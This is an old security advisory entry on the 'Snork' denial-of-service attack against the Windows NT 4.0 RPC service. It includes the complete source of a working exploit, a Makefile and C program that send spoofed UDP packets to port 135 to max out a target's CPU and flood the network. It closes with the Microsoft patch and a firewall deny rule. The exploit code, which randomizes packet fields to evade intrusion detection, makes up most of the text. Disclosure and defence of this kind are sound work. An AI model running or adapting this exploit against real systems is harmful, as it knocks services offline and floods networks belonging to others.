COMMAND

    "snork" (Windows NT RPC Service)

SYSTEMS AFFECTED

    Windows NT 4.0

PROBLEM

    Following  is  mostly  based  on  ISS  Security Advisory.  The ISS
    X-Force has been  researching a denial  of service attack  against
    the Windows NT RPC service.   This attack allows an attacker  with
    minimal resources to cause a remote NT system to consume 100%  CPU
    Usage for an indefinite period of  time.  It also allows a  remote
    attacker to utilize a very  large amount of bandwidth on  a remote
    NT  network  by  inducing  vulnerable  systems  to  engage  in   a
    continuous bounce of packets between all combinations of  systems.
    This attack is similar to those found in the "Smurf" and "Fraggle"
    exploits, and is known as the "Snork" attack.  This  vulnerability
    exists on  Windows NT  4.0 Workstation  and Server.   All  systems
    with service packs up to and including SP4 RC 1.99 are vulnerable,
    including any hotfixes released prior to 9/10/98.

    In X-Force lab tests, a single UDP packet is able to raise the CPU
    utilization on a Windows NT system  to 100% for a period of  5-120
    seconds.  A low bandwidth  continuous attack of this sort  is able
    to keep  the CPU  utilization at  100% for  an unlimited period of
    time.   This  vulnerability  can  also  be  exploited as a network
    bandwidth consuming attack by creating UDP packets that result  in
    a constant packet  bounce between all  combinations of Windows  NT
    systems on a network.   This attack can quickly consume  available
    bandwidth on even a small  network.  The consumption rate  between
    any  two  idle   Windows  NT  systems   on  an  idle   network  is
    approximately  224/RTT  (round-trip  time),  which translates on a
    10Mbps Ethernet to approximately  3.4Mbps of traffic.   Increasing
    the number of systems involved in the packet bounce  exponentially
    increases this traffic,  and as collisions  occur and packet  loss
    begins  the  network  bandwidth  used  by this attack very quickly
    approaches 100%.

    Snork exploit code follows. It needs libnet.  If you don't have it
    go to:

        http://www.infonexus.com/~daemon9/Libnet

    Snork/Makefile:

    #   route|daemon9 <route@infonexus.com>

    CFLAGS      =   -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 -Wall
    OBJECTS     =   snork.o
    LIBS        =   -lnet

    .c.o:
            $(CC) $(CFLAGS) $(DEFINES) -c $< -o $@

    all: snork

    snork: $(OBJECTS)
            $(CC) snork.o $(LIBS) -o ./snork

    dist:   clean
            @(cd ..; rm snork.tgz; tar cvzf snork.tgz Snork/)

    clean:
            rm -f core snork *.o

    Snork/snork.c:

    /*
     *  $Id: snork.c,v 1.1 1998/09/29 05:20:15 root Exp root $
     *
     *  snork.c - Windows NT UDP killer
     *
     *  Written as per the ISS X force advisory.
     *
     *  Building:
     *
     *  This compiles under: OpenBSD, FreeBSD, Linux, Solaris and possibly others.
     *  (Solaris port remains broken until libnet gets fixed for solaris checksums).
     *  You need libnet to compile this exploit.  It's all very simple:
     *  1) get the library from http://www.infonexus.com/~daemon9/Libnet
     *  2) build the library.
     *  3) install the library.
     *  4) compile this exploit.
     *
     *  Usage:
     *
     *  ./snork target
     *      Spoofs packets from target to target.
     *
     *  ./snork source target
     *      Spoofs packets from source to target.
     *
     *  route|daemon9 <route@infonexus.com>
     *
     */

    #include <libnet.h>
    #include <string.h>

    #define SENDAMT     10
    #define SPORT       135
    #define DPORT       135

    int
    main(int argc, char **argv)
    {
        int sock, c, i, payload_s;
        u_char *buf, *payload;
        u_long ip_src, ip_dst;

        if (argc > 3 || argc < 2)
        {
            fprintf(stderr, "No retard.\nUsage:\tsnork [source] target\n");
            exit(EXIT_FAILURE);
        }
        if ((ip_src = name_resolve(argv[1], 1)) == -1)
        {
            fprintf(stderr, "What the hell kind of IP address is: `%s`?\n", argv[1]);
            exit(EXIT_FAILURE);
        }
        if (argc == 3)
        {
            if ((ip_dst = name_resolve(argv[2], 1)) == -1)
            {
                fprintf(stderr, "What the hell kind of IP address is: `%s`?\n", argv[1]);
                exit(EXIT_FAILURE);
            }
        }
        else
        {
            ip_dst = ip_src;
        }

        printf("Hi.  Read Phrack.  Thanks.\n");

        if ((payload = getenv("HOST")) == NULL)
        {
            payload = "i am lame dos kid but i read phrack so it's ok";
        }
        payload_s = strlen(payload);

        buf = malloc(UDP_H + IP_H + payload_s);
        if (!buf)
        {
            perror("No memory for packet header");
            exit(1);
        }

        /*
         *  Don't use raw sockets.  They suck.
         */
        sock = open_raw_sock(IPPROTO_RAW);
        if (sock == -1)
        {
            perror("No socket");
            exit(1);
        }

        /*
         *  We will randomize the ip_id for good measure.  I've seen crappy NIDS
         *  code that looks for exploits like this by fixing in on static header
         *  fields.
         */
        seed_prand();

        for (i = 0; i < SENDAMT; i++)
        {
            /*
             *  Build the IP header.
             */
            build_ip(UDP_H + payload_s,     /* total payload size */
                    get_prand(PRu16),       /* IP ID */
                    0,                      /* fragmentation bits */
                    64,                     /* IP TTL */
                    IPPROTO_UDP,            /* transport protocol */
                    ip_src,                 /* source IP */
                    ip_dst,                 /* destination IP */
                    NULL,                   /* payload pointer */
                    0,                      /* payload size */
                    buf);                   /* packet header memory */

            /*
             *  Build the UDP header.
             */
            build_udp(SPORT, DPORT, payload, payload_s, buf + IP_H);

            /*
             *  UDP checksum (IP check is done by mr kernel, as always).
             */
            do_checksum(buf, IPPROTO_UDP, UDP_H + payload_s);

            /*
             *  Write the packet to the network.
             */
            c = write_ip(sock, buf, UDP_H + IP_H + payload_s);
            if (c < UDP_H + IP_H + payload_s)
            {
                fprintf(stderr, "write_ip: only wrote %d bytes\n", c);
            }
            fprintf(stderr, ".");               /* no buffering, please */
        }
        printf("\nsnork snork\n");
        free(buf);
        exit (EXIT_SUCCESS);
    }        

SOLUTION

    Microsoft  has  made  a  patch  available  for the "Snork" attack.
    Patch information is available at:

        http://www.microsoft.com/security/bulletins/ms98-014.htm

    Network administrators can protect internal systems from  external
    attack by adding a rule to  a filtering router or firewall of  the
    type:

        Deny all incoming UDP packets  with a destination port of  135
        and a source port of 7,19, or 135.

    Many firewalls or packet filters may already have more restrictive
    rulesets which  already encompass  this filtering  rule, in  which
    case the  network is  already protected  from an  external "snork"
    attack.  This would include filtering all incoming traffic to  UDP
    port 135.   There are NT  applications which rely  upon legitimate
    traffic passing between UDP ports 135 on a source and  destination
    machine.   If this  is the  case on  your network,  it is strongly
    recommended you apply  the Microsoft hot-fix  to any systems  that
    allow external access.